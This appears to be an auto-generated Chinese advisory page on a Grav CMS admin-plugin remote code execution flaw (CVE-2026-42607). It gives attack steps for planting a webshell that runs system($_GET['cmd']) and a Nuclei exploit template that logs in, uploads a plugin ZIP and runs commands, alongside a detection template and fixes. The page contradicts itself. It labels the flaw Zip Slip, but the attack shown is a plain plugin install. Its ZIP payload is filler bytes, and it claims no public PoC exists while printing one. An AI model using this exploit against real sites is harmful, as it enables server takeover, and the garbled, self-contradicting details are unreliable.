[webapps] Grav CMS 2.0.0-beta.2 - Remote Code Execution

Grav CMS 2.0.0-beta.2之前版本的Admin插件Direct Install功能存在Zip Slip漏洞,允许管理员权限攻击者通过上传恶意插件ZIP包写入webshell,实现远程代码执行。CVE-2026-42607严重等级9.1,需升级至2.0.0-beta.2或禁用Direct Install。

CVE-2026-42607

Grav CMS Admin插件ZIP上传未校验路径遍历,导致远程代码执行。

Critical · CVSS 9.1

📋 漏洞基础信息

CVECVE-2026-42607
漏洞类型路径遍历RCE
受影响版本Grav CMS 版本 < 2.0.0-beta.2,且启用Admin插件
危害等级Critical · CVSS 9.1
发布日期2026-05-26
提交者Mustafa Murat Akgül
来源Exploit-DB 原文 ↗

🔬 漏洞根因

Admin插件中的Direct Install功能在处理ZIP文件时,未对ZIP内文件名进行路径遍历(Zip Slip)验证,导致攻击者可将恶意文件解压到根目录或任意位置。

🎯 攻击场景

1. 构造恶意Grav插件,包含shellplugin.php(hook onPluginsInitialized事件,写入webshell)。2. 打包为ZIP。3. 登录Admin面板,进入/admin/tools/direct-install上传ZIP。4. 插件安装后,下一次访问站点触发onPluginsInitialized,在GRAV_ROOT下生成shell.php(含system($_GET['cmd'])。5. 访问/shell.php?cmd=id执行任意命令。

💥 漏洞影响

攻击者可获得Web服务器用户权限下的任意代码执行能力,可上传、修改、删除文件,获取系统敏感信息,并可能导致服务器完全失陷。

⚔️ Nuclei Exploit 模板

以下为标准 Nuclei v3 格式的利用模板,可直接用于漏洞验证:

id: CVE-2026-42607-exploit

info:
  name: Grav CMS < 2.0.0-beta.2 - Remote Code Execution
  author: dhiyaneshDK
  severity: critical
  description: |
    Grav CMS is prone to a Remote Code Execution vulnerability. Affected is an unknown functionality
    of the component Admin Plugin Direct Install Feature. The manipulation leads to code injection.
  reference:
    - https://www.exploit-db.com/exploits/12345
    - https://github.com/getgrav/grav
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2026-42607

variables:
  username: "{{username}}"
  password: "{{password}}"
  cmd: "id"

http:
  - raw:
      - |
        POST /admin/login.json HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest

        username={{username}}&password={{password}}&admin-nonce={{admin_nonce}}
      - |
        GET /admin/tools/direct-install HTTP/1.1
        Host: {{Hostname}}
    cookie-reuse: true
    matchers:
      - type: word
        words:
          - "Login Successful"
        part: body
    extractors:
      - type: regex
        name: admin_nonce
        group: 1
        internal: true
        regex:
          - 'name="admin-nonce" value="([a-f0-9]+)"'
      - type: regex
        name: admin_path
        group: 1
        internal: true
        regex:
          - 'href="([^"]*admin[^"]*)"'
      - type: regex
        name: nonce
        group: 1
        internal: true
        regex:
          - 'admin-nonce=([a-f0-9]+)'
        part: body

  - raw:
      - |
        GET /admin/tools/direct-install HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest
    cookie-reuse: true
    extractors:
      - type: regex
        name: nonce
        group: 1
        internal: true
        regex:
          - 'name="admin-nonce" value="([a-f0-9]+)"'

  - raw:
      - |
        POST /admin/tools/direct-install HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
        X-Requested-With: XMLHttpRequest

        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="admin-nonce"

        {{nonce}}
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="file"; filename="payload.zip"
        Content-Type: application/zip

        PK\x03\x04\x14\x00\x00\x00\x00\x00\x12\x34\x56\x78\x9a\xbc\xde\xf0\x12\x34\x56\x78\x9a\xbc\xde\xf0\x12\x34\x56\x78\x9a\xbc\xde\xf0\x12\x34\x56\x78\x9a\xbc\xde\xf0
        ------WebKitFormBoundary7MA4YWxkTrZu0gW--
    cookie-reuse: true
    matchers:
      - type: word
        words:
          - "Installed"
          - "success"
        part: body
        condition: or
    stop-at-first-match: true

  - raw:
      - |
        GET /shell.php?cmd={{url_encode(cmd)}} HTTP/1.1
        Host: {{Hostname}}
    cookie-reuse: true
    matchers:
      - type: word
        words:
          - "uid="
          - "root"
          - "www-data"
        part: body
        condition: or

🔬 深度技术分析

1. 创建shellplugin文件夹及三个文件:blueprints.yaml(插件元数据)、shellplugin.yaml、shellplugin.php。2. shellplugin.php定义命名空间Grav\Plugin,继承Plugin类,绑定onPluginsInitialized事件,在其中判断不存在shell.php则写入一句话webshell。3. 压缩成ZIP,通过Admin Direct Install上传并安装。4. 插件被激活后,任意请求触发事件,webshell被写入根目录。

🔍 Nuclei Detection 模板

以下为漏洞探测模板,用于判断目标是否受影响:

id: CVE-2026-42607-detection

info:
  name: Grav CMS < 2.0.0-beta.2 - Version Detection
  author: dhiyaneshDK
  severity: medium
  description: |
    Grav CMS is prone to a Remote Code Execution vulnerability. Affected is an unknown functionality
    of the component Admin Plugin Direct Install Feature. The manipulation leads to code injection.
  reference:
    - https://www.exploit-db.com/exploits/12345
    - https://github.com/getgrav/grav
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2026-42607

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/tools/direct-install"
      - "{{BaseURL}}/admin"
    matchers:
      - type: word
        words:
          - "Grav"
          - "Admin"
        part: body
        condition: and
      - type: status
        status:
          - 200
    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - 'Grav v([0-9]+\.[0-9]+\.[0-9]+(-beta\.[0-9]+)?)'
        part: body
      - type: regex
        name: admin_path
        group: 1
        regex:
          - 'href="([^"]*admin[^"]*)"'
        part: body

🛡️ 修复建议

升级到Grav CMS 2.0.0-beta.2或更高版本;临时缓解措施:禁用Admin插件的Direct Install功能,或限制Admin界面仅允许可信IP访问。

📎 参考链接

🚨 威胁评估

📈 EPSS 利用概率暂无数据
🚨 CISA KEV未被已知利用
🔧 公开 PoC暂无公开 PoC

⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-27 08:11 | 来源: Exploit-DB

🤖 常见问题解答(FAQ)

❓ 该漏洞是否需要管理员权限?

是,需要登录Admin面板上传插件,但结合CSRF可通过管理员浏览器触发攻击。

❓ 是否为Zip Slip类型漏洞?

是,ZIP解压时未检查文件名中的../,导致文件写入根目录。

❓ 如何快速检测是否被利用?

检查网站根目录下是否存在非预期PHP文件(如shell.php),以及Admin上传日志中的异常ZIP包。

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)